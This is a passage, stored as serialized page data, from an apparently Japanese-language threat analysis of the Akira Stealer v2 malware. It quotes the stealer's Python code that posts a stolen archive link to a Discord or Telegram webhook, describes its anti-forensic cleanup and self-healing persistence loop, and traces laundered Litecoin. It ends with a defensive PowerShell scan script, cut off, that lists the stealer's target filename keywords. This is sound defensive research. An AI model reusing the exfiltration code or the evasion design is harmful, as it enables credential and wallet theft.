\"%DISCORD_OR_TG_WEBHOOK_URL%\"\n",[604,10569,10570,10577],{},[607,10571,10572,975,10574],{},[539,10573,1319],{},[550,10575,10576],{},"https://discord.com/api/webhooks/\u003CWEBHOOK_ID>/\u003CWEBHOOK_TOKEN>",[607,10578,10579,975,10582],{},[539,10580,10581],{},"Telegram",[550,10583,10584],{},"https://api.telegram.org/bot\u003CTELEGRAM_TOKEN>/sendMessage",[532,10586,10587,10590],{},[539,10588,10589],{},"2. リアルタイムの配信","\nファイルのアップロードに成功した直後、マルウェアは次を実行します。",[588,10592,10594],{"className":4486,"code":10593,"language":4488,"meta":594,"style":594},"payload = {\n  'username': 'Akira 💊',\n  'embeds': [{\n      'title': '🗄️ Exfiltration Complete',\n      'fields': [\n          {'name': '🗂️ Archive', 'value': f'[Download ZIP]({download_url})'}\n      ]\n  }]\n}\n# Transmit the archive URL entirely in the JSON body\nrequests.post(self.default_webhook, json=payload, timeout=8)\n",[550,10595,10596,10600,10605,10610,10615,10620,10625,10630,10635,10639,10644],{"__ignoreMap":594},[1680,10597,10598],{"class":1682,"line":1683},[1680,10599,10471],{},[1680,10601,10602],{"class":1682,"line":2058},[1680,10603,10604],{},"  'username': 'Akira 💊',\n",[1680,10606,10607],{"class":1682,"line":2064},[1680,10608,10609],{},"  'embeds': [{\n",[1680,10611,10612],{"class":1682,"line":2070},[1680,10613,10614],{},"      'title': '🗄️ Exfiltration Complete',\n",[1680,10616,10617],{"class":1682,"line":2393},[1680,10618,10619],{},"      'fields': [\n",[1680,10621,10622],{"class":1682,"line":2399},[1680,10623,10624],{},"          {'name': '🗂️ Archive', 'value': f'[Download ZIP]({download_url})'}\n",[1680,10626,10627],{"class":1682,"line":3051},[1680,10628,10629],{},"      ]\n",[1680,10631,10632],{"class":1682,"line":3846},[1680,10633,10634],{},"  }]\n",[1680,10636,10637],{"class":1682,"line":3852},[1680,10638,2402],{},[1680,10640,10641],{"class":1682,"line":4099},[1680,10642,10643],{},"# Transmit the archive URL entirely in the JSON body\n",[1680,10645,10646],{"class":1682,"line":5020},[1680,10647,10648],{},"requests.post(self.default_webhook, json=payload, timeout=8)\n",[604,10650,10651,10660],{},[607,10652,10653,10655,10656,10659],{},[550,10654,10507],{}," 変数がエンベッドの ",[550,10657,10658],{},"fields.value"," に埋め込まれます。",[607,10661,10662,10663,10665,10666,10669],{},"Telegramのフォールバックでは、",[550,10664,10507],{}," がプレーンテキストの ",[550,10667,10668],{},"message"," パラメーターに現れます。",[532,10671,10672],{},[539,10673,10674],{},"3. EDRとフォレンジックの可視性の限界",[604,10676,10677,10686],{},[607,10678,10679,10682,10683,10685],{},[539,10680,10681],{},"ローカルへのログなし",": マルウェアは ",[550,10684,10507],{}," をディスクやシステムログに書き込みません。",[607,10687,10688,10691],{},[539,10689,10690],{},"EDRの死角",": Microsoft Defender for EndpointのようなツールはHTTPリクエストの試み自体を検出できても、埋め込まれたURLを取り出すことはできません。",[532,10693,10694],{},[539,10695,10696],{},"4. なぜ解析者はこれをローカルで復元できないのか:",[604,10698,10699,10710,10731],{},[607,10700,10701,10682,10704,10706,10707,2089],{},[539,10702,10703],{},"リンクのローカルコピーなし",[550,10705,10507],{}," をメモリ上にのみ書き、ネットワーク越しに送信します。このURLをディスクやログに保存 ",[4623,10708,10709],{},"しません",[607,10711,10712,10715,10716,10718,10723,10724,10726,10727,10730],{},[539,10713,10714],{},"一時ステージングのクリーンアップ",": アップロードの直後、コードは次を実行します。",[697,10717],{},[1680,10719,10722],{"className":10720},[10721],"text-monospace","shutil.rmtree(ROOT)",",",[697,10725],{},"\nこれにより、ステージングされたすべての成果物（一時的なテキストファイルを含む）が ",[550,10728,10729],{},"%TEMP%"," から消去されます。",[607,10732,10733,10736,10737,10740],{},[539,10734,10735],{},"ネットワークのみの送信",": Webhook呼び出し（",[550,10738,10739],{},"requests.post","）はメモリ上で行われ、被害者のマシンにHTTPログやブラウザー履歴のエントリは作られません。",[821,10742,10743],{},[532,10744,10745,10748,10749,10751,10752,2089],{},[539,10746,10747],{},"解析者への含意:","\n実行時にライブのパケットキャプチャ（ネットワークTAPやプロキシなど）がなければ、正確な ",[550,10750,10507],{}," は感染後には復元できません。\nさらに、窃取されたアーカイブはホスティングサービスから自動削除されるため、フォレンジックによる取得の余地はいっそう狭まります。\nローカルに成果物が一切残らないため、感染後のイメージングやホストベースのフォレンジック復元でも、攻撃者のURLやファイルホストの認証情報が明らかになることは ",[4623,10753,10754],{},"ありません",[827,10756],{"className":10757},[830,831],[714,10759,10761],{"id":10760},"_713-結論","7.13 結論",[532,10763,720],{},[532,10765,10766,10768],{},[550,10767,585],{},"（Akira Stealer v2）は、包括的で商業的に配布されるスティーラーのツールキットです。広範な標的設定、洗練されたアンチ解析、動的なインフラ制御、そして認証情報、暗号通貨、システムプロファイリング、ユーザーファイルにまたがるフルスタックのデータ窃取を組み合わせています。そのモジュール性とステルス性は、迅速な再感染の手法と相まって、実際に配備されているものの中で最も技術的に高度なスティーラーの1つにしています。",[528,10770,10772],{"id":10771},"_8-循環型実行チェーン-自己修復ループ","8. 循環型実行チェーン: 自己修復ループ",[532,10774,534],{},[532,10776,10777,10778,10781],{},"このキャンペーンの技術的に最も洗練された要素の1つが、再生型で循環的な実行モデルです。ドロッパーからペイロードへと流れ、その後消えていく線形の段階を持つ従来のマルウェアと異なり、この作戦は ",[539,10779,10780],{},"閉じたループ"," のように設計されており、各コンポーネントが互いを見張っています。",[532,10783,10784,10785,10788],{},"この ",[539,10786,10787],{},"自己修復アーキテクチャ"," は、感染チェーンを永続的にするだけでなく、自律的なものにしました。部分的な駆除から完全に回復できたのです。1つの部品でも生き残っている限り、マルウェアのエコシステム全体が自らを再構築できました。",[714,10790,10792],{"id":10791},"_81-振る舞いの分解","8.1 振る舞いの分解",[532,10794,720],{},[2078,10796,10797,10823,10836,10865,10882],{},[607,10798,10799,10804,10806,10807,10810,10811,10813,10814,10816,10817,10819,10820,10822],{},[539,10800,10801,10802,2012],{},"永続化の錨（",[550,10803,574],{},[550,10805,574],{}," は土台となる足がかりとして機能します。通常は ",[550,10808,10809],{},"%APPDATA%\\Microsoft\\Windows\\Start Menu\\Programs\\Startup"," のようなWindowsのユーザースタートアップの場所にドロップされるか、",[550,10812,1652],{}," 経由で登録されます。その役目は単純ながら重要です。",[550,10815,578],{}," が存在することを確かめ、ユーザーのログオン時にそれを静かに起動することです。",[550,10818,578],{}," が欠けている場合は、アーカイブ ",[550,10821,1819],{},"（一時フォルダーにあるか、新たにドロップされる）を再展開し、Electronアプリの完全な構造を再生成します。",[607,10824,10825,10830,10832,10833,10835],{},[539,10826,10827,10828,2012],{},"橋渡しのローダー（",[550,10829,578],{},[550,10831,578],{}," は、ElectronでラップされたNode.jsアプリケーションです。GUIを一切表示せず、完全にバックグラウンドで動作します。実行されると、Node.jsをランタイム環境として使い、",[550,10834,1049],{}," 内に埋め込まれたJavaScriptロジックを実行します。この抽象化の層は、中核ロジックをPEスタブから切り離し、従来の解析を回避する助けになります。",[607,10837,10838,10843,10845,10846],{},[539,10839,10840,10841,2012],{},"実行のオーケストレーター（",[550,10842,2801],{},[550,10844,1049],{}," 内に埋め込まれたこれが、感染チェーンの真の制御役です。主な機能は次のとおりです。",[604,10847,10848,10853,10856],{},[607,10849,10850,10852],{},[550,10851,574],{}," の存在を確認し、欠けていれば再配備する",[607,10854,10855],{},"ランタイムの設定を動的に注入する。Webhook URL、C2アドレス、トークンなど",[607,10857,10858,10859,10861,10862,10864],{},"すでに存在するPythonペイロード（",[550,10860,585],{},"）を呼び出すか、攻撃者が管理するインフラからZIPバンドル（",[550,10863,2865],{}," など）としてダウンロードする",[607,10866,10867,10872,10873,1539,10875,10877,10878,10881],{},[539,10868,10869,10870,2012],{},"ペイロードの実行（",[550,10871,585],{},"\n起動されると、",[550,10874,585],{},[550,10876,552],{}," を介してメモリ上で実行されます。保存された認証情報、Cookie、Discordトークン、ブラウザーのセッションデータ、暗号通貨ウォレットの拡張機能を体系的に収集します。データはZIPアーカイブにまとめられ、HTTPS経由で窃取されます。多くはDiscord Webhookですが、",[550,10879,10880],{},"gofile.io"," のようなフォールバックAPIやカスタムのC2エンドポイントも観測されています。",[607,10883,10884,10887,10888,10890,10891,10893,10894,1267,10896,10898,10899,10901],{},[539,10885,10886],{},"ループの完全性と自己修復","\n設計は循環的です。",[550,10889,574],{}," が削除されれば再配備されます。",[550,10892,578],{}," が欠ければ、",[550,10895,574],{},[550,10897,1819],{}," から再展開します。",[550,10900,585],{}," が削除されれば、JavaScriptの層が再取得します。この相互依存により、マルウェアは耐性を持ち、生き残ったほぼどの断片からでも実行チェーンを再構築できます。",[532,10903,10904,10905,10908],{},"このアーキテクチャは単にモジュール式なだけではありません。",[539,10906,10907],{},"自立的"," であり、標的環境におけるステルス性、柔軟性、長期的な生存性のために意図的に設計されています。",[714,10910,10912],{"id":10911},"_82-これが注目に値する理由","8.2 これが注目に値する理由",[532,10914,720],{},[532,10916,10917,10918,10921],{},"このキャンペーンのアーキテクチャ設計は、市販の情報窃取ツールでは通常見られない水準の洗練を反映しています。単純な多段階ローダーの域を超えています。これは ",[539,10919,10920],{},"運用上の耐性、ステルス性、自動化"," のために設計されたマルウェアです。",[532,10923,10924],{},[539,10925,10926],{},"主な特徴",[604,10928,10929,10935,10972,10992],{},[607,10930,10931,10934],{},[539,10932,10933],{},"完全な自律性","\nいったん配備されると、マルウェアはユーザーの操作や外部からの再起動を必要としません。悪意あるマイクロサービスのように振る舞い、外部の制御なしに自らの永続化、ペイロードの実行、修復のルーチンを統括します。",[607,10936,10937,10940,10941],{},[539,10938,10939],{},"多言語の実行スタック","\nこのツールチェーンは次を統合しています。",[604,10942,10943,10952,10958,10964],{},[607,10944,10945,6236,10948,620,10950,2012],{},[539,10946,10947],{},"PEバイナリ",[550,10949,574],{},[550,10951,578],{},[607,10953,10954,10957],{},[539,10955,10956],{},"Node.js / JavaScript","（Electron経由）",[607,10959,10960,10963],{},[539,10961,10962],{},"PowerShell","（難読化されたペイロードの中継に使用）",[607,10965,10966,6236,10969,10971],{},[539,10967,10968],{},"Python",[550,10970,585],{},"。メモリ常駐型スティーラーとして実行）\nこの層状の構成は、従来の静的ツールを使ったプロファイリング、フィンガープリンティング、解析を難しくします。",[607,10973,10974,10977,10978],{},[539,10975,10976],{},"設計による防御回避","\nすべてのコンポーネントがエンコード、暗号化、あるいは動的に注入されます。",[604,10979,10980,10983,10986,10989],{},[607,10981,10982],{},"Base64のPowerShell中継",[607,10984,10985],{},"AES暗号化・GZIP圧縮されたPythonコア",[607,10987,10988],{},"ランタイムでのトークン注入を伴う難読化されたJavaScript",[607,10990,10991],{},"部分的な駆除を妨げる自己修復の振る舞い",[607,10993,10994,10997,10998,11001,11002,11004,11005,11007],{},[539,10995,10996],{},"単一障害点の不在","\nマルウェアの自己修復ロジックにより、",[539,10999,11000],{},"単一のコンポーネントの削除では不十分"," になります。",[550,11003,574],{}," が削除されれば、情報窃取ツールがそれを再作成します。",[550,11006,585],{}," が削除されれば、JavaScriptの制御役が再ダウンロードして再配備します。",[532,11009,11010,11011,11014],{},"要するに、このマルウェアは典型的なペイロードというより ",[539,11012,11013],{},"分散システム"," のように振る舞います。生存性、モジュール性、ステルス性を優先するものです。",[532,11016,11017,11018,11021],{},"これにより脅威は、日和見的な攻撃から ",[539,11019,11020],{},"耐性を備えた適応型のプラットフォーム"," へと格上げされ、防御側には同等に多層的な検出・対応の戦略でその複雑さに対抗することが求められます。",[714,11023,11025],{"id":11024},"_83-ブルーチームへの含意","8.3 ブルーチームへの含意",[532,11027,720],{},[532,11029,11030],{},"防御側とCSOCの運用者にとって、この種のアーキテクチャはハードルを引き上げます。",[604,11032,11033,11039,11055],{},[607,11034,11035,11038],{},[539,11036,11037],{},"部分的なクリーンアップは効果がありません","。すべてのノードを特定し、同時に削除しなければなりません。",[607,11040,11041,11044,11045,11047,11048,11047,11050,11047,11052,11054],{},[539,11042,11043],{},"Defender for Endpointによる相関分析"," が不可欠です。解析者は完全なチェーンを追う必要があります。",[550,11046,574],{}," → ",[550,11049,1103],{},[550,11051,1200],{},[550,11053,552],{}," という流れです。",[607,11056,11057,11060],{},[539,11058,11059],{},"IOCを残さない永続化"," は、メモリベースのヒューリスティック、テレメトリのベースライン化、チェーンベースの検出が鍵になることを意味します。",[532,11062,11063,11064,11067],{},"これは単なるスティーラーではありません。",[539,11065,11066],{},"耐性を備えたマルウェアプラットフォーム"," であり、単純な脅威というより分散システムのように振る舞います。そしてそれこそが、これを見事であると同時に危険なものにしているのです。",[528,11069,11071],{"id":11070},"_9-ブロックチェーンの追跡と分析","9. ブロックチェーンの追跡と分析",[532,11073,534],{},[714,11075,11077],{"id":11076},"_91-litecoinベースのマルウェアキャンペーンにおける資金の流れの追跡","9.1 Litecoinベースのマルウェアキャンペーンにおける資金の流れの追跡",[532,11079,720],{},[532,11081,11082,11083,11086],{},"このマルウェアキャンペーンのリバースエンジニアリングの段階で、スティーラーが暗号通貨の窃取に使っていた複数のハードコードされたウォレットアドレスを抽出しました。これらのLitecoinウォレットのオンチェーンの活動を追うことで、意図的なマネーロンダリングの手口を示すパターンを明らかにできました。攻撃者が管理するウォレット ",[550,11084,11085],{},"LW6EopiZ..."," は、中心的な集約点として機能しています。複数の被害者から窃取された資金がこのアドレスに流し込まれ、その後すみやかに複数の新しいアドレスへ再分配されます。",[532,11088,11089],{},"ここで見られる振る舞いは、暗号通貨のタンブリングやミキシングの操作で使われる古典的な分割送金パターンの典型です。いずれの場合も、入ってきた残高の全額がおおよそ比例した2つの送出取引に分けられ、それぞれ異なるウォレットに送られます。この戦略は、資金の出所を分かりにくくすることで、アドレスのクラスタリングとチェーンの追跡を妨げるよう設計されています。自動化されたブロックチェーン分析や脅威インテリジェンスのプラットフォームによる検出を回避する、効果的な手口です。",[532,11091,11092],{},"このロンダリングの振る舞いは、取引のタイミング、精密な金額の分割、アドレス再利用の最小化を組み合わせ、GraphSense、Chainalysis、TRM Labsなどで使われるようなクラスタリングアルゴリズムが一般に適用するヒューリスティックを迂回します。全体の狙いは、高エントロピーの取引フローを作り出すことで帰属分析を混乱させ、連結可能性を断つことにあります。特に、資金が最終的に他の資産へブリッジされたり、プライバシー重視のコインへ交換されたりする場合に効果を発揮します。",[532,11094,11095],{},"以下の例では、この振る舞いの構造化された一部分を示します。入金取引は、それぞれ別の被害者からの送金を表します。これらの値はその後、送出フローに過不足なく対応づけられ、コインが速く、予測可能で、アルゴリズム的に分割された支払いを通じて「洗浄」される様子を示しています。",[1393,11097,4675,11101],{"className":11098,"style":11100},[11099],"font-size-1","width:100%; border-collapse: collapse;",[1409,11102,11103,4675,11126,4675,11159,4675,11187,4675,11216],{},[1399,11104,4680,11105,4680,11109,4680,11113,4680,11116,4680,11120,4680,11123,4675],{},[1402,11106,11108],{"style":11107},"text-align: left; width: 14%;","入力元",[1402,11110,11112],{"style":11111},"text-align: left; width: 12%;","入力日",[1402,11114,11115],{"style":11107},"入金額 (LTC)",[1402,11117,11119],{"style":11118},"text-align: left; width: 20%;","→ 攻撃者ウォレット",[1402,11121,11122],{"style":6292},"出力アドレス",[1402,11124,11125],{},"出金額合計 (LTC)",[1399,11127,4680,11128,4680,11131,4680,11134,4680,11137,4680,11144,4680,11157,4675],{},[1414,11129,11130],{},"Input_1",[1414,11132,11133],{},"2024-09-21",[1414,11135,11136],{},"0.25339198",[1414,11138,11139,11140,4680],{},"\n      ",[1680,11141,11143],{"title":11142},"LLQtaBnSAFpCFUw5cXRRka7Nvtrs4Up9bH","LLQtaBnSAF...",[1414,11145,11146,11147,11150,11151,11146,11153,11156],{},"\n      - ",[550,11148,11149],{},"LZmHkgkED..."," (0.15579078, 2024-09-26)",[697,11152],{},[550,11154,11155],{},"M8JpDsw5H7..."," (0.09760120, 2024-09-26)\n    ",[1414,11158,11136],{},[1399,11160,4680,11161,4680,11164,4680,11167,4680,11170,4680,11174,4680,11185,4675],{},[1414,11162,11163],{},"Input_2",[1414,11165,11166],{},"2024-04-16",[1414,11168,11169],{},"1.09976044",[1414,11171,11139,11172,4680],{},[1680,11173,11143],{"title":11142},[1414,11175,11146,11176,11179,11180,11146,11182,11184],{},[550,11177,11178],{},"LgWrCAF8ED..."," (0.84304664, 2024-06-13)",[697,11181],{},[550,11183,11178],{}," (0.25671380, 2024-06-13)\n    ",[1414,11186,11169],{},[1399,11188,4680,11189,4680,11192,4680,11195,4680,11198,4680,11202,4680,11214,4675],{},[1414,11190,11191],{},"Input_3",[1414,11193,11194],{},"2024-03-06",[1414,11196,11197],{},"0.77089346",[1414,11199,11139,11200,4680],{},[1680,11201,11143],{"title":11142},[1414,11203,11146,11204,11207,11208,11146,11210,11213],{},[550,11205,11206],{},"LZL3wQcSRP..."," (0.38544673, 2024-03-04)",[697,11209],{},[550,11211,11212],{},"M8kiBpVHG3..."," (0.38544673, 2024-03-04)\n    ",[1414,11215,11197],{},[1399,11217,4680,11218,4680,11221,4680,11223,4680,11225,4680,11229,4680,11239,4675],{},[1414,11219,11220],{},"Input_4",[1414,11222,11194],{},[1414,11224,11197],{},[1414,11226,11139,11227,4680],{},[1680,11228,11143],{"title":11142},[1414,11230,11146,11231,11207,11234,11146,11236,11213],{},[550,11232,11233],{},"LUFLTrqYpix...",[697,11235],{},[550,11237,11238],{},"La22dfH9eM...",[1414,11240,11197],{},[827,11242],{"className":11243},[830,831],[528,11245,11247],{"id":11246},"_10-akiraエコシステムの内側-商業化されたサイバー犯罪インフラ","10. Akiraエコシステムの内側 – 商業化されたサイバー犯罪インフラ",[532,11249,534],{},[532,11251,11252],{},"Akiraは単なるスティーラーではありません。サイバー犯罪を簡素化し、規模を拡大し、収益化するために設計された、活況を呈する地下エコシステムの中核です。",[714,11254,11256],{"id":11255},"_101-脅威アクターのためのプラグアンドプレイのエコシステム","10.1 脅威アクターのためのプラグアンドプレイのエコシステム",[532,11258,720],{},[532,11260,11261],{},"Akiraのエコシステムは、サイバー犯罪が専門化しサービス主導の経済へと進化した様子を体現しています。次を含みます。",[604,11263,11264,11274,11280,11286,11292],{},[607,11265,11266,11267,6236,11270,11273],{},"オンデマンドのペイロード生成のための ",[539,11268,11269],{},"ビルダーボット",[550,11271,11272],{},"@AkiraRedBot"," など）",[607,11275,11276,11277],{},"アップデート、機能要望、カスタマーサポートのための ",[539,11278,11279],{},"Telegramチャネル",[607,11281,11282,11285],{},[539,11283,11284],{},"自動化されたライセンス管理と決済処理","。多くはダイレクトメッセージやSellixのような匿名のeコマースプラットフォーム経由",[607,11287,11288,11289],{},"クリップボードの乗っ取り、Discordトークンのロガー、ブラウザーデータのスティーラー、さらにはランサムウェアのアドオンといった ",[539,11290,11291],{},"バンドルされたモジュール",[607,11293,11294,11295],{},"トグル、Webhookの入力、アイコンのブランディングを可能にする設定インターフェイスを備えた ",[539,11296,11297],{},"カスタマイズ可能なペイロード",[532,11299,11300],{},[748,11301],{"alt":11302,"src":11303},"Akira Stealer","https://res.cloudinary.com/c4a8/image/upload/v1749797420/blog/pics/akira-stealer-v2.jpg",[714,11305,11307],{"id":11306},"_102-サイバー犯罪の商業化","10.2 サイバー犯罪の商業化",[532,11309,720],{},[532,11311,11312],{},"Akiraの構造は、「Malware-as-a-Service」（MaaS）へと向かうより大きな潮流を反映しています。そこでは次のようになっています。",[604,11314,11315,11321,11327,11333],{},[607,11316,11317,11318],{},"攻撃を仕掛けるのに ",[539,11319,11320],{},"深い技術的スキルが不要",[607,11322,11323,11326],{},[539,11324,11325],{},"低い参入コスト","（3か月75ドル、永年150ドル）",[607,11328,11329,11330],{},"Telegramを通じた ",[539,11331,11332],{},"即時のサポートとドキュメント",[607,11334,11335,11338],{},[539,11336,11337],{},"コミュニティの貢献"," が、スクリプトや機能提案でAkiraを日常的に拡張",[532,11340,11341],{},"このエコシステムは、正規のSaaSビジネスモデルを映し出しています。変更履歴、UXの改善、価格帯、アップセルまで備えています。",[532,11343,11344],{},[748,11345],{"alt":11346,"src":11347},"Akria Stealer","https://res.cloudinary.com/c4a8/image/upload/v1749797061/blog/pics/akira-stealer.jpg",[714,11349,11351],{"id":11350},"_103-スティーラーの先へ-エコシステムのコンポーネント","10.3 スティーラーの先へ – エコシステムのコンポーネント",[532,11353,720],{},[532,11355,11356,11357,11359],{},"多くの攻撃の心臓部は ",[550,11358,585],{}," ですが、エコシステムは完全なチェーンを提供します。",[604,11361,11362,11365,11368,11371,11374],{},[607,11363,11364],{},"PyInstallerのラッパーのような難読化ツール",[607,11366,11367],{},"悪意あるペイロードを無害なソフトウェアと結合するためのファイルバインダー",[607,11369,11370],{},"コンパイラー、クリプター、ランタイムでの多形化",[607,11372,11373],{},"ペイロードの配信と窃取のためのホスティングミラー（GoFile、AnonFilesなど）",[607,11375,11376],{},"窃取した認証情報やハードウェアプロファイルを要約するデータ管理ボット",[532,11378,11379],{},[748,11380],{"alt":11381,"src":11382},"Akira Bot","https://res.cloudinary.com/c4a8/image/upload/v1749797107/blog/pics/akira-bot.jpg",[528,11384,11386],{"id":11385},"_11-akira-stealer-quickcheck-影響を受けたファイル","11. Akira Stealer QuickCheck 影響を受けたファイル",[532,11388,534],{},[714,11390,11392],{"id":11391},"_111-これは何のためのものか","11.1 これは何のためのものか",[532,11394,720],{},[532,11396,11397,11398,620,11401,620,11404,620,11407,11410],{},"Akira Stealerの感染が疑われた後は、自社のシステム上のどのファイルが窃取の危険にさらされていたかをただちに把握することが不可欠です。上で概説したQuickCheck PowerShellスクリプトは、Akiraの検索ロジックをそのまま再現します。ユーザーの ",[539,11399,11400],{},"デスクトップ",[539,11402,11403],{},"ドキュメント",[539,11405,11406],{},"ダウンロード",[539,11408,11409],{},"OneDrive"," の各フォルダーを走査し、次に該当するファイルを探します。",[604,11412,11413,11429,11432],{},[607,11414,11415,11416,620,11419,620,11422,620,11425,11428],{},"ファイル名に ",[550,11417,11418],{},"password",[550,11420,11421],{},"wallet",[550,11423,11424],{},"backup",[550,11426,11427],{},"token"," といった機微なキーワードを含む",[607,11430,11431],{},"よく標的にされる特定の拡張子（.txt、.docx、.pdf、.jpgなど）を持つ",[607,11433,11434],{},"マルウェアが課す2 MBのサイズ上限以下である",[532,11436,11437,11438,11441],{},"QuickCheckはAkira Stealerの内部ロジックに基づく迅速な概観を提供しますが、",[539,11439,11440],{},"包括的なフォレンジックツールやプロフェッショナルなインシデント対応の代わりにはなりません","。侵害が確認された場合は、必ずより深い分析を続けてください。",[532,11443,11444,11445,620,11448,620,11451,620,11454,11457],{},"その後、",[539,11446,11447],{},"ファイル名",[539,11449,11450],{},"相対パス",[539,11452,11453],{},"サイズ (KB)",[539,11455,11456],{},"トリガーとなったキーワード"," を並べ替えた表を提示します。",[821,11459,11460],{},[532,11461,11462,11465,11466,11469,11470,11473,11474,11477],{},[539,11463,11464],{},"免責事項","\nこのツールは、完全性や特定目的への適合性についていかなる保証もなく ",[539,11467,11468],{},"「現状のまま」"," 提供されます。",[539,11471,11472],{},"すべての"," 潜在的に機微なファイルの検出を保証するものでは ",[539,11475,11476],{},"なく","、完全なマルウェアフォレンジックに取って代わるものでもありません。利用は自己責任でお願いします。",[827,11479],{"className":11480},[830],[714,11482,11483],{"id":11483},"法的通知",[532,11485,720],{},[532,11487,11488,11489,11492,11493,2089],{},"このQuickCheckユーティリティは、",[539,11490,11491],{},"防御的なセキュリティ"," 評価のみを目的としています。自ら所有していないシステムに対する許可のないスキャンや使用は、プライバシー、著作権、コンピューター不正使用に関する法律に違反する可能性があります。glueckkanja AGは、その使用に起因する誤用や損害について ",[539,11494,11495],{},"一切の責任を負いません",[714,11497,11499],{"id":11498},"powershellスクリプト","PowerShellスクリプト",[532,11501,720],{},[588,11503,11505],{"className":1674,"code":11504,"language":1676,"meta":594,"style":594},"\u003C#\n.SYNOPSIS\n    QuickCheck: Lists all files that Akira Stealer would potentially exfiltrate.\n\n.DESCRIPTION\n    Scans Desktop, Documents, Downloads and OneDrive for files that:\n      • Contain one of the defined keywords in their name\n      • Have an allowed file extension\n      • Are not larger than 2 MB\n    Presents the results in a colored, tabular overview.\n\n.NOTES\n    © glueckkanja AG – Kaiserstr. 39 · 63065 Offenbach\n#>\n\n# -------------------------------------\n# 1. Configuration\n# -------------------------------------\n$scanFolders = @(\n    \"$env:USERPROFILE\\Desktop\",\n    \"$env:USERPROFILE\\Documents\",\n    \"$env:USERPROFILE\\Downloads\",\n    \"$env:USERPROFILE\\OneDrive\"\n)\n$keywords   = 'passw','seed','mnemo','phrase','login','wallet','crypto','token','backup','secret','account'\n$extensions = '.txt','.doc','.docx','.pdf','.csv','.xls','.xlsx','.jpg','.png'\n$maxSize    = 2MB\n\n# -------------------------------------\n# 2. Scan and Collect Matches\n# -------------------------------------\n$matches = [System.Collections.Generic.List[PSObject]]::new()\n\nforeach ($folder in $scanFolders) {\n    if (-not (Test-Path $folder)) { continue }\n    Get-ChildItem -Path $folder -Recurse -File -ErrorAction SilentlyContinue | ForEach-Object {\n        # 2.1 Extension filter\n        if ($extensions -notcontains $_.Extension.ToLower()) { return }\n        # 2.2 Size filter\n        if ($_.Length -gt $maxSize) { return }\n\n        # 2.3 Keyword filter: explicit loop to avoid null-method calls\n        $hit = $null\n        foreach ($kw in $keywords) {\n            if ($_.Name.ToLower().Contains($kw)) {\n                $hit = $kw\n                break\n            }\n        }\n        if (-not $hit) { return }\n\n        # 2.4 Build relative path\n        $rel = $_.DirectoryName.Substring($env:USERPROFILE.Length + 1)\n\n        # 2.5 Collect\n        $matches.Add([PSCustomObject]@{\n            FileName    = $_.Name\n            Location    = $rel\n            'Size (KB)' = [math]::Round($_.Length / 1KB, 1)\n            Keyword     = $hit\n        })\n    }\n}\n\n# -------------------------------------\n# 3. Display Results\n# -------------------------------------\nclear\nWrite-Host \"🔍 glueckkanja AG – Akira Stealer QuickCheck\" -ForegroundColor Cyan\nWrite-Host \"────────────────────────────────────────────────────────\" -ForegroundColor DarkCyan\n\nif ($matches.Count -gt 0) {\n    $matches |\n        Sort-Object Location, FileName |\n        Format-Table -AutoSize `\n            @{Label='File';       Expression={$_.FileName}},\n            @{Label='Location';   Expression={$_.Location}},\n            @{Label='Size (KB)';  Expression={$_. 'Size (KB)'}},\n            @{Label='Keyword';    Expression={$_.Keyword}}\n\n    Write-Host \"`n⚠️  Total potential matches: $($matches.Count)\" -ForegroundColor Yellow\n}\nelse {\n    Write-Host \"✅ No potentially compromised files found.\" -ForegroundColor Green\n}\n\nWrite-Host \"`n© glueckkanja AG · Kaiserstr. 39 · 63065 Offenbach\" -ForegroundColor DarkGray\nWrite-Host \"Disclaimer: This tool offers a high-level scan based on Akira Stealer’s logic; it does not replace full forensic analysis.\" -ForegroundColor DarkGray\n",[550,11506,11507,11512,11517,11522,11526,11531,11536,11541,11546,11551,11556,11560,11565,11570,11575,11579,11584,11589,11593,11598,11603,11608,11613,11618,11622,11627,11632,11637,11641,11645,11650,11654,11659,11663,11668,11673,11678,11683,11688,11693,11698,11702,11707,11712,11717,11722,11727,11732,11737,11742,11747,11751,11756,11761,11765,11770,11775,11780,11785,11790,11795,11800,11805,11809,11813,11817,11822,11826,11831,11836,11841,11845,11850,11855,11860,11865,11870,11875,11880,11886,11891,11897,11902,11908,11914,11919,11924,11930],{"__ignoreMap":594},[1680,11508,11509],{"class":1682,"line":1683},[1680,11510,11511],{},"\u003C#\n",[1680,11513,11514],{"class":1682,"line":2058},[1680,11515,11516],{},".SYNOPSIS\n",[1680,11518,11519],{"class":1682,"line":2064},[1680,11520,11521],{},"    QuickCheck: Lists all files that Akira Stealer would potentially exfiltrate.\n",[1680,11523,11524],{"class":1682,"line":2070},[1680,11525,3843],{"emptyLinePlaceholder":325},[1680,11527,11528],{"class":1682,"line":2393},[1680,11529,11530],{},".DESCRIPTION\n",[1680,11532,11533],{"class":1682,"line":2399},[1680,11534,11535],{},"    Scans Desktop, Documents, Downloads and OneDrive for files that:\n",[1680,11537,11538],{"class":1682,"line":3051},[1680,11539,11540],{},"      • Contain one of the defined keywords in their name\n",[1680,11542,11543],{"class":1682,"line":3846},[1680,11544,11545],{},"      • Have an allowed file extension\n",[1680,11547,11548],{"class":1682,"line":3852},[1680,11549,11550],{},"      • Are not larger than 2 MB\n",[1680,11552,11553],{"class":1682,"line":4099},[1680,11554,11555],{},"    Presents the results in a colored, tabular overview.\n",[1680,11557,11558],{"class":1682,"line":5020},[1680,11559,3843],{"emptyLinePlaceholder":325},[1680,11561,11562],{"class":1682,"line":5026},[1680,11563,11564],{},".NOTES\n",[1680,11566,11567],{"class":1682,"line":5032},[1680,11568,11569],{},"    © glueckkanja AG – Kaiserstr. 39 · 63065 Offenbach\n",[1680,11571,11572],{"class":1682,"line":5038},[1680,11573,11574],{},"#>\n",[1680,11576,11577],{"class":1682,"line":5044},[1680,11578,3843],{"emptyLinePlaceholder":325},[1680,11580,11581],{"class":1682,"line":5050},[1680,11582,11583],{},"# -------------------------------------\n",[1680,11585,11586],{"class":1682,"line":5056},[1680,11587,11588],{},"# 1. Configuration\n",[1680,11590,11591],{"class":1682,"line":5062},[1680,11592,11583],{},[1680,11594,11595],{"class":1682,"line":5068},[1680,11596,11597],{},"$scanFolders = @(\n",[1680,11599,11600],{"class":1682,"line":5074},[1680,11601,11602],{},"    \"$env:USERPROFILE\\Desktop\",\n",[1680,11604,11605],{"class":1682,"line":5080},[1680,11606,11607],{},"    \"$env:USERPROFILE\\Documents\",\n",[1680,11609,11610],{"class":1682,"line":5086},[1680,11611,11612],{},"    \"$env:USERPROFILE\\Downloads\",\n",[1680,11614,11615],{"class":1682,"line":5092},[1680,11616,11617],{},"    